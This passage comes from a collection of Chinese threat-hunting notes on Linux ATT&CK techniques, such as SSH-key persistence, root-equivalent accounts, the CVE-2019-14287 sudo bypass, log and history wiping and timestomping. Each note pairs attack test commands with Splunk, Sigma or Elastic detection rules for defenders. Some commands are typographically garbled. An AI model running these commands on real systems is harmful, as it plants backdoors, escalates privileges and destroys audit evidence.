## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1154 linux下trap命令详解 linux下nohup命令浅析 ================================================ FILE: Linux/05权限维持/T1098-004-linux-账户操纵-SSH Authorized Keys.md ================================================ # T1098-004-Linux-账户操纵-SSH Authorized Keys ## 来自ATT&CK的描述 攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常会对远程管理的SSH会话采用基于密钥的身份验证过程。SSH中的`authorized_keys`文件指定了登录用户账户(该文件就是为此账户而配置)需要用到的SSH密钥。此文件通常位于用户home目录中的`/.ssh/authorized_keys`下(引自:SSH Authorized Keys)。用户可能会编辑系统的SSH配置文件,将PubkeyAuthentication 和RSAAuthentication 设置为“yes”来启用公钥和RSA身份验证。SSH配置文件通常位于`/etc/ssh/sshd_config`下。 攻击者可能会直接通过脚本或shell命令修改SSH `authorized_keys`文件,添加他们自己提供的公共密钥。然后,拥有相应私钥的攻击者就可以通过SSH以现有用户身份登录(引自:Venafi SSH Key Abuse)(引自:Cybereason Linux Exim Worm)。 ## 测试案例 ### 通过写入SSH公钥在Linux系统上实现持久化 #### 攻击机生成公钥 首先在Kali攻击机生成公钥和私钥,其中id_rsa.pub为公钥,id_rsa为私钥。 ``` bash ssh-keygen -t rsa ``` #### 在靶机写入公钥 将kali攻击机中生成的公钥id_rsa.pub内容写入到靶机中 `echo "xxx" >> ~/.ssh/authorized_keys` #### 攻击机实现免密码登录靶机 使用`ssh`命令直接连接靶机 `ssh root@10.255.30.21` ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 ### 建议 使用文件完整性监控来检测系统上每个用户对`authorized_keys`文件所做的更改。监控可疑进程是否修改了`authorized_keys`文件。 监控修改`/etc/ssh/sshd_config`的更改和可疑进程。 ## 相关TIP [[Threathunting-book/5-权限维持/T1098-win-万能密码]] [[Threathunting-book/5-权限维持/T1098-win-账户操作]] [[T1098-win-AdminSDHolder]] ## 参考推荐 MITRE-ATT&CK-T1098-001 ================================================ FILE: Linux/05权限维持/T1136-001-linux-创建账户.md ================================================ # T1136-001-Linux-创建用户 ## 来自ATT&CK的描述 攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持,持久性,不需要在系统上部署后门工具来实现权限维持。 这些Net user命令可用于创建本地或域账户。 ## 测试案例 useradd -o -u 0 -g 0 -M -d / root -s / bin / bash#{用户名} ## 检测日志 /var/log/auth.log (如果可以的话,我更希望你能够使用audit日志进行检测,它会很方便) ## 测试复现 icbc@icbc:/$ sudo useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc(用户名) icbc@icbc:/$ cat /etc/passwd root: x:0:0:root:/root:/bin/bash ...... abc: x:0:0:root:/root:/bin/bash ## 测试留痕 icbc@icbc:/$sudo cat /var/log/auth.log Aug 9 13:42:33 icbc sudo: icbc : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc Aug 9 13:42:34 icbc sudo: pam_unix(sudo:session): session opened for user root by (uid=0) Aug 9 13:42:34 icbc useradd[18979]: new user: name=abc, UID=0, GID=0, home=/root, shell=/bin/bash ## 检测规则/思路 ``` audit Root Account Creation: index=linux source="/var/log/auth.log" eventtype=useradd UID=0 OR GID=0 ``` ## 相关TIP [[T1136-001-win-创建本地账户]] ## 参考推荐 MITRE-ATT&CK-T1136-001 linux命令详解之useradd命令使用方法 ================================================ FILE: Linux/05权限维持/T1546-004-linux-.bash_profile and .bashrc.md ================================================ # T1546-004-Linux-.bash_profile和.bashrc ## 来自ATT&CK的描述 `~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行,以便正确设置其环境。为登录shell执行,并为交互式非登录shell执行。这意味着当用户(通过用户名和密码)登录到控制台(本地或通过SSH等远程登录)时,会在将初始命令提示符返回给用户之前执行。每次打开新的shell时都会执行。这允许用户在需要执行某些命令时进行更细粒度的控制。 这些文件是由本地用户编写的,用于配置自己的环境; 但是,每次用户登录或打开新的shell时,攻击者可以在这些文件中插入代码以获得持久性。 ## 测试案例 echo“#{command_to_add}”>>〜/ .bashrc echo“#{command_to_add}”>>〜/ .bash_profile ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 暂无 ## 测试留痕 linux_audit日志 type=SYSCALL msg=audit(1565526007.269:5543): arch=c000003e syscall=59 success=yes exit=0 a0=5637bba2a518 a1=5637bba32968 a2=5637bba30130 a3=fffffffffffff000 items=2 ppid=7724 pid=7725 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="echo" exe="/usr/bin/echo" key="auditcmd" type=EXECVE msg=audit(1565526007.269:5543): argc=2 a0="echo" a1="/home/icbc/1.sh" type=CWD msg=audit(1565526007.269:5543): cwd="/home/icbc" ...... type=SYSCALL msg=audit(1565526021.625:5547): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=5610372c7240 a2=441 a3=1b6 items=2 ppid=4356 pid=7726 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="bash" exe="/usr/bin/bash" key="bashrc_changes" bash历史记录 icbc@icbc:~$ history 100 sudo echo "/home/icbc/1.sh">> ~/.bashrc 101 sudo echo "/home/icbc/1.sh">> ~/.bash_profile ## 检测规则/思路 ### 基于audit检测 index = linux sourcetype = linux_audit bashrc_changes 值得注意的是你要手动配置自己的检测规则,如下: - w /home/user/.bashrc -p wa -k bashrc_changes - w /home/user/.bash_profile -p wa -k bashrc_changes 注意:我们需要为每个用户的bashrc和bash_profile文件添加审核规则。在audit规则中不接受正则表达式,所以我们无法创建这样的监视规则:/home/*/.bash_history ### 基于bash历史记录 index=linux sourcetype=bash_history bash_command="nano .bashrc" OR bash_command="vi .bashrc" OR echo .bashrc | table host,user_name,bash_command index=linux sourcetype=bash_history bash_command="nano .bashrc_profile" OR bash_command="vi .bashrc_profile" OR echo .bashrc_profile | table host,user_name,bash_command #### sigma检测规则 ``` YML title: 编辑修改.bash_profile和.bashrc status: experimental description: 检测用户环境的变化。攻击者可以在这些文件中插入代码,以便在每次用户登录或打开新shell时获得持久性。 references: - 'MITRE Attack technique T1156; .bash_profile and .bashrc. ' date: 2019/05/12 tags: - attack.s0003 - attack.t1156 - attack.persistence - attack.t1546.004 author: Peter Matkovski translator: 12306Bro logsource: product: linux service: auditd #auditd 日志 detection: selection: type: 'PATH' #路径 name: - '/home/*/.bashrc' - '/home/*/.bash_profile' - '/home/*/.profile' - '/etc/profile' - '/etc/shells' - '/etc/bashrc' - '/etc/csh.cshrc' - '/etc/csh.login' condition: selection falsepositives: - Admin or User activity level: medium ``` ## 参考推荐 MITRE-ATT&CK-T1546-004 ================================================ FILE: Linux/05权限维持/T1548-001-linux-Setuid and Setgid.md ================================================ # T1548-001-Linux-Setuid and Setgid ## 来自ATT&CK的描述 攻击者可以使用setuid或setgid位执行shell转义或利用应用程序中的漏洞来获取在不同用户上下文中运行的代码。在Linux或macOS上,当为应用程序设置了setuid或setgid位时,该应用程序将分别以拥有用户或组的特权运行。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。但是,在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户不需要提升权限。 任何用户都可以为自己的应用程序设置setuid或setgid标志,而不必在sudoers文件中创建条目(必须由root用户完成)。通过查看文件属性时,这些位用“s”而不是“x”表示ls -l。该chmod程序能够经由bitmasking设置这些位与,chmod 4777 [file]或通过速记命名,chmod u+s [file]。 攻击者可以对自己的恶意软件使用此机制,以确保他们将来能够在提升的环境中执行。 ### 关于Setuid and Setgid详解 文件权限的机制是Linux系统的一大特色,对于初学Linux的人对可读(r)、可写(w)、可执行(x)这都是比较基本的权限。一个文件的权限有十个位,分为三组来表示。第一个位为一组,表示文件的类型: - :表示一般文件 d:表示目录文件 l:表示链接文件 b:表示块设备 c:表示字符设备 p:表示管道 s:表示套接字 但是Linux还有三个比较特殊的权限,分别是:setuid,setgid,stick bit (粘滞位)。 setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。 setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。 stick bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用stick bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。 ## 测试案例 操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作: ### 方法一 chmod u+s xxx # 设置setuid权限,加上setuid标志(setuid 只对文件有效) chmod g+s xxx # 设置setgid权限,加上setgid标志 (setgid 只对目录有效) chmod o+t xxx # 设置stick bit权限,针对目录 ### 方法二 采用八进制方式. 对一般文件通过三组八进制数字来置标志, 如 666, 777, 644等. 如果设置这些特殊标志, 则在这组 数字之外外加一组八进制数字. 如4666, 2777等 chmod 4775 xxx # 设置setuid权限 chmod 2775 xxx # 设置setgid权限 chmod 1775 xxx # 设置stick bit权限,针对目录 在这里只讲第一位8进制代表权限 0: 不设置特殊权限 1:只设置sticky 2:只设置SGID 3:只设置SGID和sticky 4:只设置SUID 5:只设置SUID和sticky 6:只设置SUID和SGID 7:设置3种权限 设置完这些标志后, 可以用 ls -l 来查看. 如果有这些标志, 则会在原来的执行标志位置上显示。那么原来的执行标志x到哪里去了呢? 系统是这样规定的, 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)。 注:在UNIX系统家族里,文件或目录权限的控制分别以读取,写入,执行3种一般权限来区分,另有3种特殊权限 可供运用,再搭配拥有者与所属群组管理权限范围。您可以使用chmod指令去变更文件与目录的权限,设置方式 采用文字或数字代号皆可。符号连接的权限无法变更,如果您对符号连接修改权限,其改变会作用在被连接的原始 文件。权限范围的表示法如下:   u:User,即文件或目录的拥有者。   g:Group,即文件或目录的所属群组。   o:Other,除了文件或目录拥有者或所属群组之外,其他用户皆属于这个范围。   a:All,即全部的用户,包含拥有者,所属群组以及其他用户。   有关权限代号的部分,列表于下:   r:读取权限,数字代号为"4"。   w:写入权限,数字代号为"2"。   x:执行或切换权限,数字代号为"1"。   - :不具任何权限,数字代号为"0"。   s:特殊?b>功能说明:变更文件或目录的权限。 ## 检测日志 bash历史记录 ## 测试复现 ### 方法一/ icbc@icbc:/hacker$ ls -l - rw-r--r-- 1 root root 0 7月 19 17:22 bas.txt icbc@icbc:/hacker$ sudo chmod u+s bas.txt icbc@icbc:/hacker$ ls -l - rwSr--r-- 1 root root 0 7月 19 17:22 bas.txt icbc@icbc:/hacker$ sudo chmod g+s bas.txt icbc@icbc:/hacker$ ls -l - rwSr-Sr-- 1 root root 0 7月 19 17:22 bas.txt ### 方法二/ icbc@icbc:/hacker$ ls -l - rwxr-xr-x 1 root root 0 8月 28 15:16 admin.txt icbc@icbc:/hacker$ sudo chmod 4777 admin.txt icbc@icbc:/hacker$ ls -l - rwsrwxrwx 1 root root 0 8月 28 15:16 admin.txt icbc@icbc:/hacker$ sudo chmod 2777 admin.txt icbc@icbc:/hacker$ ls -l - rwxrwsrwx 1 root root 0 8月 28 15:16 admin.txt ## 测试留痕 ### 方法一 / icbc@icbc:/hacker$ history 650 chmod u+s bas.txt 651 sudo chmod u+s bas.txt 652 ls -l 653 sudo chmod g+s bas.txt ### 方法二 / icbc@icbc:/hacker$ history 683 sudo chmod 4777 admin.txt 684 ls -l 685 sudo chmod 2777 admin.txt ## 检测规则/思路 splunk检测规则:index=linux sourcetype=bash_history "chmod `4***`" OR "chmod `2***`" OR "chmod u+s" OR "chmod g+s" | table host,user_name,bash_command ## 参考推荐 MITRE-ATT&CK-T1548-001 linux文件特殊权限 linux中chmod命令详解 linux下的chmod参数详解 ================================================ FILE: Linux/06权限提升/T1548-003-linux-CVE-2019-14287.md ================================================ # T1548-003-Linux-CVE-2019-14287 ## 来自ATT&CK的描述 sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。 攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 测试案例 **CVE-2019-14287** 如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。 当sudo被配置为 【允许用户基于Runas规范中定义的ALL关键字,以任意用户身份执行命令】时,可以通过指定特定的用户id(如-1或者4294967295)以root身份运行命令,尽管Runas规范中明确规范了禁止root访问,但只要Runas规范中优先出现了ALL关键字,具有足够sudo特权的用户就可以使用此命令以root身份运行命令 以这种方式运行的命令,日志会把用户id记录为4294967295,而非root。此外,PAM会话不会干预此命令的执行。 \#Runas规范:指sudo配置文件(一般为/etc/sudoers) 中定义的用户执行权限规则 \#PAM(可插入身份验证模块):PAM将程序开发与认证方式进行分离,程序在运行时调用附加的“认证”模块完成自己的工作。本地系统管理员通过配置选择要使用某种认证模块。 **影响版本**:sudo 1.8.28 以下版本 ## 检测日志 linux auth.log日志,无需刻意配置。 模拟环境:ubuntu 19.04 ## 测试复现 步骤如下: 1、创建普通用户账户; 2、切换root权限,修改/etc/sudoers 配置文件写入如下规则 ``` dos abc ALL = (ALL, !root) /usr/bin/vi ``` 3、值得注意的是:你需要修改/etc/sudoers的读写权限,否则你无法对此文件进行写入。同时,在写入完成之后,你需要修改此文件的权限为只读 ``` shell chmod u+w /etc/sudoers (修改权限,默认只读) chmod u-w /etc/sudoers (只读权限,很重要) ``` 4、测试:执行sudo vi 无权限 ​ 执行sudo -u#-1 vi 突破限制成功以root身份执行 ## 测试留痕 ``` history Oct 18 11:09:54 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#-1 ; COMMAND=/usr/bin/id Oct 18 11:11:59 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#4294967295 ; COMMAND=/usr/bin/id ``` ## 检测规则/思路 ### sigma规则 ``` yml title: CVE-2019-14287 sudo 配置不当-权限提升 description: Ubuntu19.04 x64测试结果(当sudo配置为允许用户通过Runas规范中的ALL关键字以任意用户身份运行命令时,可以按通过指定用户ID-1或4294967295成为root用户。具有足够sudo特权的用户可以使用它来以root身份运行命令,即使Runas规范明确禁止root用户访问,只要在Runas规范 条件中首先列出ALL关键字即可) references: https://sysdig.com/blog/detecting-cve-2019-14287/ tags: T1548-003 status: experimental author: Blue team logsource: product: linux detection: selection: proc.name: 'sudo:' proc.USER: - '#-1' - '#4294967295' condition: selection level: medium ``` ### 建议 暂无 ## 缓解措施 目前主要影响以下版本: sudo -V < 1.8.28 升级sudo版本至1.8.28以上 ## 相关TIP [[T1548-003-linux-Sudo]] [[T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单)]] [[T1548-003-linux-Sudo]] ## 参考推荐 MITRE-ATT&CK-T1548-003 检测CVE-2019-14287 ================================================ FILE: Linux/06权限提升/T1548-003-linux-Sudo.md ================================================ # T1169-Linux-Sudo ## 来自ATT&CK的描述 sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。 攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 测试案例 cat /etc/sudoers vim /etc/sudoers 值得注意的是:攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) ## 测试复现 ### 场景一 icbc@icbc:/$ sudo cat /etc/sudoers ### 场景二 icbc@icbc:/$ sudo vim /etc/sudoers ## 测试留痕 type=USER_CMD msg=audit(1563520773.609:436): pid=3530 uid=1000 auid=1000 ses=3 msg='cwd="/" cmd=636174202F6574632F7375646F657273 terminal=pts/0 res=success' 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ## 检测规则/规则 ### splunk规则 ``` yml index=linux sourcetype="linux_audit" sudoers_110 ``` 值得注意的是:你需要自行配置Audit审核规则:root@icbc:~# auditctl -w /etc/sudoers -p war -k sudoers_110 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1548-003 Audit配置手册 ================================================ FILE: Linux/07逃避防御/T1027-005-linux-主机上的监测组件删除.md ================================================ # T1027-005-Linux-主机上的监测组件删除 ## 来自ATT&CK的描述 攻击者可能会删除或更改主机系统上生成的记录,包括日志和可能捕获的文件,例如隔离的恶意软件。日志的位置和格式会有所不同,但攻击者的操作行为都会被操作系统进行记录,比如典型的windows日志、linux和Mac的bash历史记录或者/var/log下的日志文件。 攻击者干扰事件的记录,可以破坏安全设备的检测与告警,从而导致恶意攻击事件未被通报。由于缺乏足够的数据来确定发生的异常情况,还可能使安全人员的分析和事件响应更加困难。 ## 测试案例 rm -rf /var/log/* ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ sudo rm -r /var/log/icbc.log ## 测试留痕 基于audit日志 暂无 基于bash历史记录 icbc@icbc:/$ history 20 sudo rm -r /var/log/icbc.log (注意这里删除的是测试log文件) ## 检测规则/思路 ### splunk检测规则 #### 基于audit日志 index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key index=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete #### 基于bash历史记录 index=linux sourcetype="bash_history" rm * .log | table host, user_name, bash_command ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1027-005 ================================================ FILE: Linux/07逃避防御/T1070-002-清除Linux或Mac系统日志.md ================================================ # T1070-002-Linux-清除Linux或Mac系统日志 ## 来自ATT&CK的描述 攻击者可能会清除系统日志以隐藏入侵证据。macOS和Linux都通过系统日志跟踪系统或用户启动的操作。大多数本机系统日志记录存储在/var/log/目录。 此目录中的子文件夹按其相关功能对日志进行分类,例如: - /var/log/messages::一般和系统相关的消息 - /var/log/secure或者/var/log/auth.log: 认证日志 - /var/log/utmp或者/var/log/wtmp: 登录记录 - /var/log/kern.log: 内核日志 - /var/log/cron.log: Cron 日志 - /var/log/maillog: 邮件服务器日志 - /var/log/httpd/: Web 服务器访问和错误日​​志 ## 测试案例 删除/var/log/auth.log日志文件 ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) ## 测试复现 ``` bash yyds@12306Br0:/var/log/audit$ sudo rm -r /var/log/auth.log ``` ## 测试留痕 基于audit日志 ``` yml type=EXECVE msg=audit(1654605114.800:8206): argc=3 a0="rm" a1="-r" a2="/var/log/auth.log" ``` ## 检测规则/思路 ### elastic规则 ``` yml query = ''' file where event.type == "deletion" and file.path : ( "/var/run/utmp", "/var/log/wtmp", "/var/log/btmp", "/var/log/lastlog", "/var/log/faillog", "/var/log/syslog", "/var/log/messages", "/var/log/secure", "/var/log/auth.log" ) ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-002 defense_evasion_log_files_deleted ================================================ FILE: Linux/07逃避防御/T1070-003-linux-清除历史记录.md ================================================ # T1070-003-Linux-清除历史记录 ## 来自ATT&CK的描述 macOS和Linux都会跟踪用户在终端中输入的命令,以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后,将在环境变量指向的文件中跟踪此命令历史记录HISTFILE。当用户注销系统时,此信息将更新到用户主目录中的文件中~/.bash_history。这样做的好处是它允许用户查看他们之前在不同会话中使用过的命令。由于保存了在命令行上输入的所有内容,因此也会保存在命令行上输入的密码。攻击者可以通过滥用此功能在这些文件中搜索明文密码。此外,攻击者可以使用的方法不同,你需要防止自己的历史记录中出现这些命令,例如unset HISTFILE、export HISTFILESIZE=0、history -c、rm ~/.bash_history。 ## 测试案例 rm ~/.bash_history echo " " > .bash_history cat /dev/null > ~/.bash_history ln -sf /dev/null ~/.bash_history truncate -s0 ~/.bash_history unset HISTFILE export HISTFILESIZE=0 history -c ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:~$ rm ~/.bash_history ## 测试留痕 基于audit日志 暂无 基于bash历史记录 icbc@icbc:~$ history ​ 7 rm ~/.bash_history ## 检测规则/思路 ### splunk规则 #### 基于audit日志 场景:rm -rf~ / .bash_history index=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key index=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype 场景:echo " " > .bash_history index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid #### 基于bash历史记录 index=linux sourcetype="bash_history" "rm * .bash_history" #值得注意的是,这里只做了最简单的演示,比如history -c 是无法通过bash历史记录进行检测的!其他命令如何检测,你可以自行测试记录。 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-003 ================================================ FILE: Linux/07逃避防御/T1070-004-linux-文件删除.md ================================================ # T1070-004-Linux-文件删除 ## 来自ATT&CK的描述 攻击者在系统上删除或创建恶意软件、工具或其他非本机文件,可能会留下关于在主机上执行的操作以及操作方式的痕迹。作为入侵后清理过程的一部分,攻击者可能会在入侵过程中删除这些文件以保持其隐蔽性。 主机操作系统提供了可用于执行清理的工具,但攻击者也可以使用其他工具。示例包括本机cmd功能(如del),安全删除工具(如Windows Sysinternals SDelete)或其他第三方文件删除工具。 ## 测试案例 rm -rf abc. text #强制删除abc.txt rm -f abc.txt #强制删除abc.txt shred -u abc.txt #彻底粉碎删除文件abc.txt ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:~$ rm -r abc.txt icbc@icbc:~$ shred -u abc.txt ## 测试留痕 基于audit日志 暂无 基于bash历史记录 ``` bash icbc@icbc:~$ history 650 rm -r abc.txt 654 shred -u abc.txt ``` ## 检测规则/思路 ### splunk规则 #### 基于audit日志 ``` sql index=linux sourcetype=linux_audit syscall=59 comm=shred | table host,auid,msg index=linux sourcetype=linux_audit type=execve shred .bash_history | table host,msg,a0,a2 index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,eid,exe index=linux sourcetype=linux_audit syscall=82 exe=/usr/bin/shred | table host,auid,uid,eid,exe ``` #### 基于bash历史记录 ``` sql index=linux sourcetype="bash_history" bash_command="rm *" OR bash_command="shred -u *" ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-004 linux下rm命令详解 ================================================ FILE: Linux/07逃避防御/T1070-006-Linux-Timestamp.md ================================================ # T1070-006-Linux-Timestamp ## 来自ATT&CK的描述 Timestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间。 ## 测试案例 具体参考下方测试复现过程(均需要拥有文件的所有权限)。主要涉及到touch命令的使用。 ``` yml sos@sos-pc:/$ touch --help 用法:touch [选项]... 文件... 将所指定的每个文件的访问时间和修改时间更改为当前时间。 除非提供 -c 或 -h 选项,否则指定不存在的文件将会被创建为空文件。 如果所指定文件名为 - 则特殊处理,程序将更改与标准输出相关联的文件的 访问时间。 必选参数对长短选项同时适用。 - a 只更改访问时间 - c, --no-create 不创建任何文件 - d, --date=字符串 使用指定字符串表示时间而非当前时间 - f (忽略) - h, --no-dereference 会影响符号链接本身,而非符号链接所指示的目的地 (当系统支持更改符号链接的所有者时,此选项才有用) - m 只更改修改时间 - r, --reference=文件 使用指定文件的时间属性而非当前时间 - t 时间戳 使用给定 [[CC]YY]MMDDhhmm[.ss] 的时间戳而非当前时间 - -time=类型 修改指定类型的时间: 若所指定类型是 access、atime 或 use:与 -a 等效 若所指定类型是 modify 或 mtime:与 -m 等效 - -help 显示此帮助信息并退出 - -version 显示版本信息并退出 请注意,-d 和-t 选项可接受不同的时间/日期格式。 GNU coreutils 在线帮助: 请向 报告 touch 的翻译错误 完整文档请见: 或者在本地使用:info '(coreutils) touch invocation' ``` ## 检测日志 Linux Audit、History ## 测试复现 ### 测试1 SET A FILE’S ACCESS TIMESTAMP ``` bash touch -a -t 197001010000.00 #{target_filename} ``` 查看 ``` bash sos@sos-pc:/hacker$ sudo touch -a -t 197001010000.00 test.txt sos@sos-pc:/hacker$ stat test.txt 文件:test.txt 大小:0 块:0 IO 块:4096 普通空文件 设备:805h/2053d Inode:3018665 硬链接:1 权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root) 最近访问:1970-01-01 00:00:00.000000000 +0800 最近更改:2022-01-09 19:47:00.397395450 +0800 最近改动:2022-01-09 19:47:09.966100333 +0800 创建时间:- ``` 成功复现 ### 测试2 SET A FILE’S MODIFICATION TIMESTAMP ``` bash touch -m -t 197001010000.00 #{target_filename} ``` 查看 ``` bash sos@sos-pc:/hacker$ stat test.txt 文件:test.txt 大小:0 块:0 IO 块:4096 普通空文件 设备:805h/2053d Inode:3018665 硬链接:1 权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root) 最近访问:1970-01-01 00:00:00.000000000 +0800 最近更改:2090-01-01 00:00:00.000000000 +0800 最近改动:2022-01-09 19:48:28.929618189 +0800 创建时间:- ``` 成功复现 ### 测试3 SET A FILE’S CREATION TIMESTAMP 先修改系统时间,然后创建文件,然后再把系统时间修改过来 ``` bash date -s "1990-01-01 00:00:00" touch #{target_filename} date -s "$NOW" ``` 未复现成功 ### 测试4 MODIFY FILE TIMESTAMPS USING REFERENCE FILE ``` bash touch -acmr #{reference_file_path} {target_file_path} ``` 查看 ``` bash sos@sos-pc:/hacker$ sudo touch -acmr /hacker/hfish/config.ini /hacker/one.txt sos@sos-pc:/hacker$ stat one.txt 文件:one.txt 大小:0 块:0 IO 块:4096 普通空文件 设备:805h/2053d Inode:3018666 硬链接:1 权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root) 最近访问:2021-02-02 17:57:52.294812586 +0800 最近更改:2020-12-21 16:54:40.000000000 +0800 最近改动:2022-01-09 19:55:55.945380351 +0800 创建时间:- ``` 成功复现 ## 日志留痕 ``` bash 918 sudo touch -a -t 197001010000.00 test.txt 919 stat test.txt 920 sudo touch -m -t 209001010000.00 test.txt 921 stat test.txt ``` ## 检测规则/思路 ### sigma规则 对相关命令进行检测是一种简单的方法,但是会存在绕过风险。 ### 建议 现有的取证技术可以检测出时间戳被修改的文件的各个方面。可以使用文件修改监控来检测时间戳,该监控收集文件打开的信息,并可以比较时间戳值。 ## 参考推荐 MITRE-ATT&CK-T1036 跟着ATT&CK学安全之defense-evasion ================================================ FILE: Linux/07逃避防御/T1222-002-linux-文件权限修改.md ================================================ # T1222-002-Linux-文件权限修改 ## 来自ATT&CK的描述 文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异,但通常明确指定那些用户/组可以执行那些操作(例如:读取、写入、执行等)。 攻击者可以修改文件权限/属性来逃避预定的DACL策略,修改可能包括更改特定的访问权限,这可能需要获取文件的所有权或提升权限,例如:administer/root,具体取决于文件的现有权限。特定文件修改可能是许多技术的必需步骤,例如通过辅助功能,登陆脚本建立持久性,或者污染/劫持其他工具的配置文件等。 ## 测试案例 chmod 766 abc.txt chmod u+x abc.txt #abc.txt文件属主权限,具有执行权限 chmod o-x abc.txt #取消其他用户对abc.txt的执行权限 chown runoob:runoobgroup abc.txt 将文件 abc.txt 的拥有者设为 runoob,群体的使用者 runoobgroup ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:~$ sudo chmod 766 abc.txt ...... icbc@icbc:~$ sudo chmod u+x abc.txt ## 测试留痕 基于audit日志 暂无 基于历史记录 icbc@icbc:~$ histroy 646 sudo chmod 766 abc.txt 647 sudo chmod u+x abc.txt ## 检测规则/思路 ### splunk规则 #### 基于audit日志 index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe #### 基于bash历史记录 index=linux sourcetype="bash_history" bash_command="chmod *" OR bash_command="chown*" | table host,user_name,bash_command ### 建议 值的注意的是:你需要创建一个白名单进行数据降噪,否则你可能会在无休止的去误报的路上越走越远。 ## 参考推荐 MITRE-ATT&CK-T1222-002 Audit配置手册 DACL自主访问控制列表 linux下chmod命令用法 linux下chown命令用法 ================================================ FILE: 